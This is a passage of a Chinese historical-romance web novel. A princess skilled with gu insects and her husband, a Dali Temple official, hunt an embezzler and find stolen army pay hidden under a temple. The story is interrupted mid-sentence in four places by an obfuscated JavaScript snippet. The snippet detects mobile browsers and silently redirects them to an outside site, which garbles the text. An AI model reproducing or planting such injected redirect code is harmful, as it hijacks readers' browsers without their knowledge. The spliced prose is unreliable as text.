南夙又问:“那潜逃之人究竟带走了什么?让诏父和阿维如此重视。” 戈辞还是摇头:“此事属下也不知晓。属下自收到主上的来信后,便开始调查那潜逃之人,却只查到那叛徒入京城后与比部员外郎郑平见过面。” “属下派人调查,知晓那郑平于正月初五日会前往步天楼。”戈辞向她解释,“便借贺靖北侯世子大婚之名往侯府中送了贺礼,趁机向公主送信。” 郑平便是大婚那日南夙夜逃出府所抓之人,可惜最后被大理寺的人搅乱,让人跑了。 南夙将那日之事告知戈辞。戈辞反倒眼神一亮,猜测道:“靖北侯世子……如今暂任大理寺少卿。此事,会不会与他有关?” 大理寺少卿?南夙前些日子听闻他目前在大理寺当差,却不知他原是任大理寺少卿。南夙敏锐地提取到戈辞话中“暂任”二字。 “为何是暂任?”她问道。 戈辞:“公主有所不知,世子爷原先在宫中并未述职,只挂了个将军的名讳。虽然立了军功,但非陛下召见,从不入宫。此次任大理寺少卿,是因为年前在北狄发现了军饷贪墨一事。将士们战场杀敌,军饷却迟迟未到。世子爷便带人查探,这一查,便查出了朝中有人贪墨军饷一事。世子爷连夜赶回京城,第一次无诏入宫,将贪墨一事告知景帝,景帝勃然大怒。先是命人在国库中调了粮草,又命沈序暂代大理寺少卿,待北方战事结束后回京彻查军饷贪墨一案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144226|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “这些事,我来京城时并未听说过。”南夙疑问。 她入京后,在侯府外住了一段时日,也尝试过打听一些事,但她入京和亲是为两邦之交,不论是她还是她身边的人,若在和亲前出现在京城其他地方,恐会引起京中人猜疑,到时,和亲一事必功亏一篑。 戈辞解释道:“这些事除皇帝与世子爷之外,只有少数几个朝中重臣知晓,其余人,一概不知。” “那你们……”南夙正想问,既然如此你们是从何得知,但话刚出口她便反应过来。自己迟钝了些。诏父在这京城中除了这枕月楼,自然还有其他人。 她脑子里忽闪过一个想法——借沈序之势去抓郑平。 沈序早对她起疑,自新婚那日她便看出来。她料想沈序那日后必会派人盯着她,所以前几日让沈褚带她出门时故意没一开始便说来枕月楼,却还是让他看出了异常。 南夙捏着手中的茶盏,只怕沈序早知道这枕月楼与灵诏有关。 至于为什么没有戳破…… “公主!您的眼睛!”戈辞突然开口。 南夙瞳孔微动,眼中银线爬过,铜铃震颤。 她嘴角一扬,推开窗户,往楼下望去,果见沈序身影。 他今日也是一袭素袍着身,外披大氅。高束的马尾随风扬起,眼尾下垂,一双桃花眼时时含着笑意,鼻梁高挺如峰,唇薄而色淡。偏生嘴角还总噙着几分笑,任谁看见恐怕都要夸上句好个偏偏公子。 但南夙却知道这人骨子里的恶劣。 “嘿,沈序。”她开口叫住楼下那人。 沈序闻声抬头,南夙手肘支在窗棂上,撑着下巴,一脸慵懒地望着他。他好笑道:“你逗狗呢?” “那要看你乐不乐意做我的狗喽。”南夙闻言轻笑,身子微微前倾,动作间发间步摇轻晃。 街边几个孩童嬉闹着跑过,险些撞到沈序,他侧身避开:“我不知这人流竟如此厉害,将夫人自东街冲到西街了?” 南夙故作惊讶:“这么巧,夫君也被冲到这边来了?” 沈序却正了色:“不巧,我来寻你。” 南夙垂眸看他,忽然从窗边拈起一块糕点:“这枕月楼楼主是我旧识,邀我做客,夫君可要上来吃碗茶?” “我竟不知夫人在京城还认识这般人。”沈序眯起眼睛。 “我初来乍到,夫君不知道也正常。”南夙收起玩笑神色,指尖无意识摩挲着窗框上的纹路,“况且这楼主是我灵诏人,认识也属应当。” “夫君说呢?” “既是夫人旧识,那为夫倒不便打扰了。”那人却不答,只是轻笑,自袖中掏出一只脆铃,铃舌轻晃,在空中作响。 “方才路过个摊子,瞧见这个,料想夫人喜欢,便买了下来。” 南夙不由得倾身,眼神直勾勾望着沈序手中的银铃。 沈序却忽地收回手,银铃没入袖中:“今夜玄武天街有灯火大会。”转身时氅衣掠起细雪,“我去那边等夫人。” “公主直接告诉他……” 待沈序身影没入人群,南夙轻掩上窗,忽听得戈辞有些迟疑的声音,“会不会对之后的行动不利?” “跟心知肚明的人没必要藏着掖着。”南夙摇头,自案上拾起一茶盏,却是不喝,只作手中把玩,“我要借他的势…抓住郑平。” 戈辞蹙眉:“公主想抓郑平应当不难,何须绕这弯路?” 楼下传来胡姬的琵琶声,嘈嘈切切里混着酒客的哄笑声。 “抓人不难,难的是抓完之后。”南夙将茶盏内的茶饮尽,忽的想起什么,问道,“可有京城坊市图?” 戈辞熟练地自一旁柜中翻出一块娟布,在案几上铺开。 “我们缺的不是武力,而是名正言顺抓人的由头。”南夙指尖落在坊市图上,划过户部侍郎府,路过靖北侯府,最后停在大理寺。 她视线在此处停了一会,缓缓启唇:“我初到京城,在这京中没什么人脉。阿维派你们来京城还不知为何事,枕月楼不可轻易暴露。沈序是大理寺少卿,又有军功傍身,京城贵族多会巴结他。” “若是在郑平身上得不到想要的,我们便可以借沈序的势走下一步棋。” 南夙自案边青釉花插抽出一支白梅,自手中旋了一圈,又扔回瓶内。枝底带着的水滴正落在娟布上靖北侯府的位置。 她启唇宣布:“我…要与沈序合作。” 4. 知己知彼,百战不殆 “我…要与沈序合作。”南夙开口宣布。 “公主有何打算?”戈辞低着头,没人注意到她嘴角扬起的弧度。 “这个我还需要思量思量。”南夙咬了咬唇,虽然她已有了主意,但还需要调查些事。 待戈辞答应后,她又从怀里掏出了前两日在这买的那支银簪,在手中打量了片刻后递与戈辞,“这缠枝纹做的确实好,既是京城独有,辞姐姐便收好吧。” 戈辞怔愣在原地,一时不知是否该伸手去接那支银簪,又反应过来南夙对她的称呼,忙行礼道:“属下怎么承得起公主这声姐姐?” “这银簪是灵诏女子的身份象征,于灵诏女子多重要自不必我多说。它本就不应该出现在我手中,辞姐姐为向我传信将它摆在展柜前,我又如何承得起。” 南夙见她犹豫,站起身来将她扶起,直接拉过她的手将银簪放到她的手中。 “至于这称呼……”她捏了捏掌心,“我已许久没有听人唤过我公主了。辞姐姐日后也不必再如此唤我。若是愿意,便唤我一声夙儿吧。” 她言辞恳切,倒叫戈辞不知如何作答,只好答应下来。 “好啦。”南夙理了理衣襟,“我该走了,一会沈序等急了又该来寻。” 刚才低落的情绪一瞬便消失不见。不再考虑琐事,南夙又恢复了那副生机的模样。 她眸中亮着光,似是很期待的模样,提步朝楼下跑去,还不忘回头朝戈辞挥手。 不过须臾,她的身影便出现在楼下。 戈辞走至窗边,手中仍捏着那支银簪,将窗轻推开一道斜隙,恰好罩下南夙跑向人群的背影。 旁边一女婢忽然开口问道:“公主怎的突然如此开心?” “追她的铃铛去了。”戈辞说道。 婢女却疑惑:“追铃铛?” “你方才未看到?”戈辞扬唇轻笑,“沈序将那枚银铃掏出时这丫头眼睛都发亮了。若不是还有事要谈,怕是早就飞去了。” “到底不过刚及笄,还是个孩子。”说完,垂下眼眸摇摇头,眼中满是宠溺,轻声呢喃:“还像小时候那般,一点没变。对这种坠着银蝶的铃铛没半点抵抗力。” 婢女仍是不懂,戈辞也不解释,将手中的银簪往发髻上一插,吩咐道:“去查查近日大理寺动向,公主既要借世子爷之势,我们也得将他们的底细查个清楚。” 雪又来了。纷纷扬扬随风撒在京城的街道、屋檐。掩去枕月楼上无人所知的黑色袍底留下的印记。 冬风吹过,吹灭廊下的灯笼,撞响檐角的脆铃。 “来来来,搬家了搬家了。”南夙摇着那枚拇指大的铃铛,语气诱哄。 案几上一排形状怪异的虫子排着队往南夙手中的铃铛挪去,偶有一两只脱离队伍,被南夙一吼又麻溜的跟上来。 南夙低着腰几乎整个人都要贴到榻上,直到最后一只蛊虫迈出步子进到铃铛里,她嗒的一下合紧铃铛。 “小家伙们搬新家还这么不积极!”银铃在半空轻晃,南夙朝着空中努了努嘴,曲起右腿将铃铛捆在脚踝上。 安雀端着杏酪羹放在案几上,见南夙已将铃铛系好,问道:“小姐已将那群不听话的虫子哄进去了?” 南夙拨弄了一下踝间的铃铛,翅翼颤动的声簌簌响起,她得意道:“当然。” “这次比往常还快了许多。”安雀说。 南夙穿好鞋往案边走去,一面点头:“这帮小家伙在一个地方住久了就不愿意挪窝。这次倒是格外听话。” 安雀见她穿好鞋眼神还停在那铃铛上,抿唇轻笑:“小姐很是喜欢世子爷送的这只铃铛呢。” 南夙点了点头,虽然沈序这人不咋样,但不得不说挑铃铛的眼光还是很不错的。 安雀盛了碗杏酪递给她,她伸手接过,吃了两口,忽听得院内一阵嘈杂声。 她放下碗盏,推开窗棂,只见十余名小厮抬着金箱笼鱼贯而入,打头的两个正小心翼翼挪着一株三尺高的红珊瑚,日光下泛着血玉般的光泽。 “这是做什么?”她蹙眉问道。 “回世子妃,”一嬷嬷上前躬身,脸上堆着笑,“陛下赏赐,贺世子爷大婚,侯夫人让我们送到您院里。” 南夙看着这阵仗,心里正狐疑。嬷嬷又上前递了礼单过来让她清点。 她接过洒金礼单,视线掠过一行行墨字,不由得惊疑。这中原皇帝给沈序的赏赐竟如此丰厚,连这皇家专用的东西都赏来了。 “这是在做什么?”忽有一道声自月洞门传来。 南夙循声望去,见沈序信步走进院子。 嬷嬷忙躬身:“回世子爷,是陛下新赏的………” 话未说完,礼单已被抽走。 沈序垂眸看着礼单上的东西,视线越往下指尖捏着礼单的力度越大。南夙清晰地看见礼单被他捏起的褶皱。 她抬眼望去,发现沈序的脸色很是难看,素日含笑的桃花眼此刻也如凝了冰霜一般。 “抬去库房。”他将礼单摔回托盘,金纸哗啦散开,“封存。” 那嬷嬷与小厮哪料得他会如此生气,忙带着东西下去了。 南夙愣在原地不知该作何反应,余光却见安雀冲她使眼色。她回头望沈序一眼,“你进来不?” 沈序没反应,仍是那副冰冷的模样,不知在想什么。 南夙就不理他,“唰”一下将窗户关了。转头见安雀手里捏着张桑皮纸,正弯腰点起香炉,青烟袅袅升起。 窗外脚步声响起,自院外而去。 安雀将桑皮纸铺在案几上,手指间绕着根红线。她伸出食指,一只通体银白的银丝牵顺着红线游来,落到桑皮纸上,摇晃着爬起来。 “辞姐姐这是用什么东西传来的,这只小虫怎么晕乎乎的?”南夙见那蛊虫摇摇晃晃的模样,不由得开口问道。 安雀嘴角抽抽两下:“是只小猫崽。估计……”她大胆猜测,“是在脑子里被摇晕了吧。” 南夙也不说话了,伸手拨弄了一下那只银丝牵。见它甩了甩脑袋,终于开始吐出银丝: 三日后,春明巷,世子爷将率人捉拿郑平。 南夙看着那一排字,心下了然。 她想起前些日子辞姐姐所说贪饷一事,脑子里闪过沈序捏着那张礼单时的模样。怪不得沈序方才看到皇帝赏赐的东西时脸色如此难看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144227|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 将士们在朔北刺骨寒风,缺衣少食。沈序凯旋归来原是想查贪墨一案,皇帝却在此时赐婚,大办婚礼。赏赐之物奢靡无度,殊无体国忧边之念。这换做是谁都会心寒。 这事若是传到边疆,只怕军心动荡。 安雀将香炉熄掉,桑皮纸上的字也随之消失。 南夙右手食指曲起轻托下巴,思量了一会。她嘴角上扬,有了主意。 暮色四合,天色暗得紧。铅灰色的云层压得低低的,偶有几片碎雪飘下,簌簌有声。长街两侧的灯笼被北风吹得摇晃,昏黄的光映在积雪上,泛出冷清的微茫。 南夙绕着巷子转了几圈,终于在一巷口发现了沈序的身影。他一人站在巷口,手中捏着方尺素。不知上面写了什么。 看着只有他一人,但南夙自靠近这里开始便发现了埋伏在周围的人。 她见沈序仍低着头,拉着街头卖糖葫芦的老翁买了根糖葫芦,往嘴里塞了一颗,晃悠着就朝沈序走去。 “夫君。” 她柔声开口。 清泠泠两个字砸下来,忽听得瓦片轻响,雪坠入巷内的声音在雪夜内清晰分明,大约是檐上的人没踩稳,滑了一下。 沈序闻声抬头,见是南夙,挑了下眉,问道:“你怎么来了?” 南夙晃荡着手中的糖葫芦,悠悠说道:“我听闻了夫君遇到了些麻烦事,来看看有没有什么能帮忙的?” 她咬下一颗糖葫芦,言辞恳切:“希望夫君不要嫌弃。” “哦?”沈序眯了眯眼睛,“夫人想如何帮我?” 他没问南夙知晓了什么事,而是直接问想如何帮他。 南夙一下子没了心情,就知道这人一直跟他演戏呢。明明什么都知道,还装。 她将手中的糖葫芦朝沈序扔去,也不再跟他试探,直言道:“合作,答不答应吧?” 沈序一把接住她扔过来的东西,捏在手里,好笑地说:“夫人这态度可不像是要与为夫合作。” 南夙也不跟他绕弯子,直接问道:“你们在这里等郑平?” 沈序看着她没有答话,但南夙本来也就是问个流程,没管他答不答话,继续说道:“别等了,他今晚不会从这里过。” “夫人如何知道?”沈序挑眉,向前半步。 “这个嘛……”南夙挽了缕头发在手中绕着圈,“我有我的办法。你就说合不合作吧。 沈序捏着那串被南夙咬了两颗的糖葫芦,语气轻轻:“即便他今晚不来,大理寺擒他也不过是……” “军饷贪墨,军营军心动荡。”南夙打断他,抬眸望着沈序的眼睛,“北狄虽吃了败仗,可若是让他们知晓大景边军饿着肚子守城,难保不会卷土重来。夫君说呢?” 沈序眼底划过一丝惊讶,嘴角却还扬着:“夫人调查的可真是清楚。” 南夙拢了拢衣袍,语气悠然:“应该的,知己知彼,百战不殆嘛。” 她微微偏头,眸中映着沈序的身影,“你考虑得怎么样?” 沈序盯着她,半晌,终于开口:“可以。” 他顿了顿,声音低沉,“但要让我信你,你得拿出点实力来。” 5. 甜吗? 实力? 沈序难道是想看她如何找到郑平? “喵呜。” 南夙正思忖着要如何做,忽听得巷口传来一声小猫的喵呜声。她转头望去,见一只通体雪白的狮子猫正懒懒地踱着步子朝巷内走来。 她咬咬拇指,眼珠子一转,朝那只小猫走去。那只小猫倒是乖巧得很,见南夙朝它走来,非但没有害怕逃跑,反而主动蹭上南夙的小腿。 南夙蹲下身子将它抱起来,它还伸出舌头舔了一下南夙的脸,逗得南夙发笑。 沈序抱着手在旁边看她。 南夙再一转头,沈序身后多了几人,个个身着便衣常服,腰间挂着障刀。独有两人站在沈序两侧,一人腰间挂着一玄色长鞭,另一人则自身后露出半截玄铁戟刀。 再一看沈序,手中的那串糖葫芦早已不知道落到何人手中。南夙这时才发现他腰间挂着的双刃。两把都挂在左侧,一长一短,形制迥异。 竟然和她一样喜欢使双刃? 南夙按下眸中好奇,抱着猫崽起身,抬眸看他。 “有什么想要的?” 她缓缓开口:“我让它替你取来。”说着举了举怀中的猫崽。 “夫人就想用这只猫来证明自己的实力?” 语气明显不信。 南夙也不服气,她将小猫往沈序眼前一送,为小猫正名:“别瞧不起我们猫崽,说不定干起活来比你身后那帮有用多了。” 身后那帮谁也没惹的:“……” 南夙复又将小猫轻放下来,指尖捻着一粒朱砂红的蛊丸,点在小猫的耳后。 “我一会儿会将这只小猫放到城中去,凡是它踏过的地方我都能知道。” 南夙头也不抬地对身后抱臂而立的沈序道,“你可以让人跟着,看我说的是不是真的。” 说完,她拍拍小猫的脑袋,轻声哄道:“麻烦你跑一趟咯。放心吧,这个蛊对你不会有什么伤害的,回来请你吃小鱼干。” “可以吗?” 南夙起身拂去裙上细雪,征求沈序的意见。 “可以。” 沈序点了点头,提步走近,忽伸手扣住南夙手腕。掌心被迫展开,露出几枚还在蠕动的蛊/卵,“我倒是很好奇夫人使的这追踪之术。” 沈序微抬了下左手,站在他左手边腰挂长鞭的男人走上前来,躬身行礼。他却没回头,捻起南夙手中一枚蛊卵细细打量。 半晌后缓缓开口:“江陌,你轻功好,你去。” “是。” 原来叫江陌。 南夙看了眼那人,长得不错,就是表情冷冰冰的,看着就很高冷,脾气应该不咋滴好,她撇撇嘴,这种人是怎么能够忍受在沈序手下做事的?他们不会打起来吗? 算了,跟她又没关系。 当务之急是赶紧走完流程好去抓人。 想到这,她俯身拍了拍小猫。那小猫听话拔腿便朝巷外跑去。 脾气不咋好的江陌默默跟上。 到现在他都还恍惚着。自南夙出现叫的那句夫君开始,今夜所发生之事都过于玄幻了。 江陌看着前面跑着的小猫,表情有些一言难尽。他好歹也是个司直,居然沦落到来追一只猫! 他含泪抹了把脸,再一抬头:妈呀这猫怎么跑这么快。 眼见那猫离他越来越远,他赶紧收起脑子里的浮想,提步朝那猫追去。 一人一猫走后,巷子里便安静下来。 南夙先是看了看沈序,又看了看他身后的人。 这么干站着也不是个事。 “那啥,我刚来的时候见那边有个还没收的馄饨摊。”南夙歪头看向众人,“要不,请你们吃点?” 然后他们一行人就将这小小的馄饨摊坐满了。 南夙往嘴里喂了一个馄饨,余光瞥见沈序卸在一旁凳子上的双刃。 她囫囵将嘴里的馄饨吞下,看准了目标,悄摸着把手伸了出去。 “嗷!” 南夙创业未半而中道崩殂,没拿到双刃不说,还吃了沈序一巴掌。 她拿起被打的手在嘴边吹吹,不满控诉道:“你这下手也太重了吧,我就是想看看你的那两把刀而已,至于吗?” “你看看,都打红了。”她那只被打的手垂在沈序眼前晃荡。 那明显的红痕随着南夙晃荡的手在他眼前晃荡。沈序看了眼,不禁低头审视了一下自己的手。 我刚才有使这么大劲儿? 但不论怎么说,这红痕确实是他打出来的。 “抱歉。” 他低声咳了咳,有些不自在,将身侧的双刃拿起递向南夙:“想看便看吧。” “真是莽夫。” 南夙顺势接过,嘴里还不忘吐槽。 她抽出其中一把刃,细细打量。很普通的制式兵刃,材质也一般。她指腹轻抹过刃锋,血珠立刻沁成红线,“倒是锋利得很。” 沈序的兵器这么普通?看起来还不如他身边那俩站着的好。 指尖的血珠顺着刀刃落下,南夙心里想着事,见流了血,习惯性的唇便贴上了指尖的伤口,面上是云淡风轻,毫无变化。 对面正想给她递帕子的沈序:“……” 总感觉自己刚才被唬了。这人看起来哪里像是怕痛的? 衣袍忽然被轻扯了一下。 南夙低头望去,见刚出去的小猫就团在自己脚边,蹭着她的小腿。她一下便笑弯了眼,打开一张油纸,将刚刚买的小鱼干喂给猫崽。 余光瞥见沈序起了身朝摊主走去。她抬头看去,目光正好与付了钱转身的沈序对上。 滚着热水的锅里升着腾腾热气,白雾蒸腾间,南夙见沈序歪了下头,朝她挑了下眉。沈序的马尾顺着垂下来,搭在肩上,在夜风里轻晃。 南夙看懂了他的意思,将小猫往抱进怀里,袖见藏着的手指轻轻一勾,开始复述小猫去过的地方。 “从这里出发,先是到了西市烧着热炉子的胡饼摊,又抹上了光福寺墙根的龙脑香灰——” 说到这里,她停顿下来。 众人见她突然停顿都好奇地向她投来视线,猜测她是不是说不出来了。 南夙抬眼,视线直直射向站在一旁的江陌。江陌见她突然朝自己看来,眼珠子像是忽然受了惊一样,在眼眶里左右晃荡,就是不看她。 南夙哪能放过他,她伸出食指指向江陌:“你居然使诈?” 她转头朝沈序看去,一双眸子里写满了你的下属你负责。 沈序悠悠踱着步子走来,在方才的位置坐下,问道:“他使了什么诈?” “他居然想扔掉我的蛊虫!”南夙控诉,“还把小猫从西市抱着跑到了东市!” “太过分了!”她语气愤愤。 沈序挪眼瞥向江陌。 “主上恕罪。”江陌忙低头认罪,“属下……属下只是想测试一下,如果没有这个虫子,世子妃还能不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144228|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道我们走过的路。” 这个我们说的自然是他和小猫。 江陌挠挠脑袋:“没想到世子妃如此厉害,连属下中途做了手脚都知道。” “哼。” 南夙发出一丝不屑的轻哼,却没有继续为难他,“既然你都这么说了,那我就勉为其难地原谅你了吧。” 她的表情傲娇又生动,倒叫这寒冬雪夜里多了丝鲜活。沈序看着,不由得低头轻笑。 “不过呢,虽然你做了手脚。”南夙的声音又在耳边响起。 沈序抬眼望去。 “但我可爱的猫崽还是完成了我给的任务。” 南夙小嘴咕噜咕噜,说着将手伸向沈序,在他面前缓缓打开。 桑皮纸顺着她张开的手而展开,一枚琥珀色的椰枣糖暴露在这冬日的寒气中。 “你们去了东市,路过了这家糕点铺子。” 她又接着说刚刚没说完的话,“猫崽挣脱你跑去了糕点铺子。你将猫崽逮了回来,猫崽带着你来了这里,找到了我们。对吧?” 她说完,江陌愣在原地,好半晌才吐出句话来:“分……分毫不差。” 南夙见他呆呆的样子,觉得自己方才对他的印象完全被推翻。从一个高冷型成了一个呆萌型。 而沈序听她说完,脸上却没几分惊讶。悠然为自己斟了杯茶,借着举盏的姿势,将双眼藏在杯沿之后。 茶雾氤氲中,南夙的身影随着这雾气浮在他眼中,没人能读懂他眸中含义。 “喏。”南夙的手往前伸了伸,将手中的那枚椰枣糖递到他跟前。 “给我的?”他将茶杯放回桌面,面露惊讶。 “对啊,我专门让猫崽给你带的。”南夙点头,歪头朝他眨了下左眼,“尝尝甜不甜。” 沈序怔愣在原地。 南夙见他不动,干脆站起身来拉过他的手,掰开手指,连桑皮纸带糖放到他的手中。 “发什么呆?” 沈序指尖轻动,他低头看着手心那枚不过最普通的椰枣糖。半晌,终于喂到嘴里。 “甜不甜?”南夙凑着脑袋问。 “嗯。” “很甜。” 焦糖与蜜渍枣子混合的甜香顺着喉口窜进腹中,哪能不甜呢? 舌尖那腻得发慌的甜味始终消不下去,沈序轻抬了一下眼皮,南夙逗哄小猫的身影在他眼眸中嬉笑。 许久,待到那甜化得差不多,已不再粘着他的心脏,他方才开了口。 “既已证明,那便忙正事吧。” 南夙闻声转头:“如何?” 沈序起身走至她身前,伸出一只手:“合作愉快。” “合作愉快!” 手掌拍打的声响清脆短促,南夙自凳子上弹起,“啪”一下拍向那只悬空的手。 “放心吧,绝对不让你失望。” 沈序:“现在,告诉我郑平在何处。” 南夙环顾了一圈这小小馄饨摊上坐着的人:“这么多人一起去太显眼了。” “那你想要几人?” “我们俩就够了。”南夙手指在沈序和自己之间来回比划。 周围人听到她这么说皆是一愣,随后便要上前来劝阻沈序。沈序却挥了挥手,示意他们不要妄动。 “行。”他缓缓吐出一字。 “那就出发吧。”南夙将小猫托付给江陌后,转身朝西边走去。 沈序默默提步跟上。 6. 夜探云寂寺 延康坊云寂寺后门。 一高一矮两个身影无声贴在墙角阴影处。 “郑平来寺庙做什么?” 南夙踮起脚尖往高墙内看去,轻声呢喃,但墙太高什么也看不到,她只得放弃。 沈序挑眉:“不是你带的路?” “大哥,你也说了我只是带路。” 南夙轻哼一声,“他要做什么我怎么知道?” 沉默在两人间蔓延。 忽然,南夙作势要往前去:“进去看看就知道了。”动作间,她脚踝上的银铃发出浑浊的响声。 “等等。” 沈序一把扣住她的手腕:“你这铃铛就让它这么响着?是怕里面的和尚听不见?” 南夙低头看了眼脚踝上的银铃,一把甩开沈序的手,略带嫌弃地看向他。 “哦。” 我这铃铛一直响也不知道是因为谁? 谁知道你是被谁下了蛊。害得每次靠近你我的蛊都躁动不堪。 再说了,我这蛊很听话的好不好,哪次出去见我干正事不是乖乖的? 南夙在心里一个劲儿吐槽。但为了让沈序放心,她还是轻“嘘”了一声,让银铃安静下来。 “好了。” “走。” 沈序自然看见了南夙嫌弃地表情,却没多说什么。见她踝间银铃不再响动,先一步纵身跃上墙头。 瓦当簌簌,月色如水,漫过飞檐翘角。他们二人轻点着脚下瓦片,起落见竟未惊动风动。裹着点点细雪的风掠过二人,直愣愣朝檐角高悬的长明灯而去。 二人轻巧落地,正落在云寂寺主厅前的庭院内。 袅袅青烟盘旋在院落间。三足青铜香炉中,数十支残香歪斜倾倒,暗红的香灰点点坠落,未燃尽的星火在灰烬中明明灭灭,将氤氲烟雾染成诡谲的绯色。 南夙正对着香炉,忽见烟雾深处闪过鎏金衣角。 主厅朱漆大门虚掩半尺,她略一抬眼,月光勾勒出殿内金身佛像低垂的眉眼。佛前长明灯芯爆出几多火花,与月光交相映照着佛身。 南夙下意识便往前走了半步。 沈序忽伸手拽住她,两人一齐走至门前。沈序一手用劲推开大门,南夙猫儿眼瞬间睁大。 丈高佛像遍身贴金,袈裟褶皱里嵌着拇指大的东珠,莲台座下竟用金丝缠成须弥山形状,晃得人眼疼。 “这金……” 南夙指尖拂过佛龛,金粉簌簌落在袖口,“你们中原人一向如此奢侈吗?” 沈序没接话,但脸色却很是难看。他走向佛前高束着的斗烛,烛泪顺着烛身流下来,凝固在烛身上。 沈序指尖抹过那烛泪,竟无端想起了鲜血。 他黑着脸走至供桌旁,手拂过供桌,在第三个暗格处忽地顿住。 “咔。” 手指轻拨,暗格内发出轻响,接着便是明显的开门声。暗格开启时带起的腐木味铺面而来。 南夙听到声后转头来看,一条密道出现在眼前。她好奇上前查看,青石板上带着新鲜脚印,分明有人刚过的样子。 她抬头看了眼沈序。 没有一句解释沈序也明白她的意思。 “跟上。” 他率先一步进了密道,还不忘回头嘱咐南夙跟好。 南夙点点头,乖乖跟在他身后。 越往里走就光就越暗,可视的东西就越少。沈序越走越快,南夙就提着裙摆小跑着跟上他。 “哎哟。” 不知密道内怎么会出现个石头,南夙一个没注意就崴了一下。 然后感觉手中被塞了个硬物。 “嗯?” 她抬眼望去。 昏暗中,沈序的脸已看不真切。南夙只能勉强看出他的嘴唇开合,声音也随之传来。 “抓着。”语气中带这些不容置喙。 南夙知道他是怕自己摔了,也没跟他犟嘴,乖乖抓着沈序塞进她手中的短刃,跟着往里走。沈序步子明显放慢了一些。 密道直通后山藏经阁地下。 石门推开的刹那,黑暗褪去,万千道金光如利剑般刺来。成堆的金锭在牛油灯下翻涌着金光。 南夙发誓,她这辈子就没见过这么多钱。 “天呐。” 她不禁发出感叹,“这是贪了多少?” 说完她反应过来,忙去看沈序的表情。 嗯,果然很难看。 走到这儿,他们俩都明白,军饷贪墨恐怕不只是与一个小小比部员外郎有关,甚至可能牵扯到朝廷中更大的势力。而这股势力,还混入了云寂寺。 这寺里铜炉烧的香,表面上是替苍生叩问苍天,实际上袅袅檀香中,飘着的都是官商勾结的铜臭。 院中慈悲渡的也不是百姓,而是百姓口袋中的金银。 沈序自木架上抽出本蓝皮账本,刚一抽出,账本“哗啦”散开,税银、灾粮、军饷流水般泻在脚边。 南夙蹲下身捡起一张,入目是去岁江南水灾的灾款,全都折成金子运到了京城这一方寺院中。 不知百姓是如何度过这场天灾的。 南夙将那几张纸拿在手中,只觉得惊骇。贪的竟然还不止军饷? 沈序看到不知要气成什么样。虽然平日里南夙觉得沈序这人不咋样,但光凭他平日里的表现就能看出他确实爱大景,更爱大景百姓。 自南夙入府以来,王府从没在何处短着她。但她看得出来,王府不主张奢靡生活。不论是饮食穿衣都是一切从简。 上元节,府里上下只有她一人添了新衣,连阿家与阿翁都是着旧衣出行。沈序就更不用说了,成日素袍着身,腰间蹀躞带也永远是素的。从不逛烟花巷柳之地,她也未曾见他与何人相伴出游过。 南夙也曾猜测过王府的财产是否都拨去了朔北填补军饷空虚,但就她入府这段时间观察,王府众人都遵行节俭之道,倒像是早已习惯。 她正欲抬头望沈序,却忽地感知到什么,随意伸手揪住沈序的袖口,用力往下拉。 沈序似也发现了有人来,感受到南夙拉他后顺着力蹲了下来。 南夙抬眸望向沈序,沈序则是下蹲过程中垂眸去看南夙。他们的脸近在咫尺,目光不可避免地碰到一起。 沈序蹲在暗处,牛油灯的火苗在穿堂风中的轻轻摇曳,将他的轮廓勾勒得忽明忽暗。南夙看不清楚他的脸,只勉强看清他那双墨黑的瞳孔,在光下说着不可置信、纠结……或许,还有些许失望。 时间仿佛凝固了一瞬,两人都忘记了移开视线。 “郑大人。” 一道沙哑枯槁的声音自密道石门处响起,语气中带着几分慌张与讨好。 两人这才反应过来移开视线。 南夙借着柜间细缝望去,见一人一僧先后走了进来,走在前面那人赫然就是那人南夙所追的郑平。 郑平在前悠闲地踱着步子,那僧人弓腰驼背,姿态谦卑的跟在身后,只唤了郑平一声,见人没打算理他,便不敢在开口。 两人步子停在一处鎏金箱前,郑平踢开那半人高的箱盖。拈起块金铤堆对着烛火端详。 “这批成色倒是比上批足。”郑平缓缓开口,尾音拖得漫不经心。 “大人!” 那僧人上前半步,念珠碰撞声愈发急促,“这批金银必须马上送走,大理寺少卿近日查贪饷一事……” “慌什么?” 郑平厉声打断,金铤重重砸回箱中,“我这不是还在这?” 僧人喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 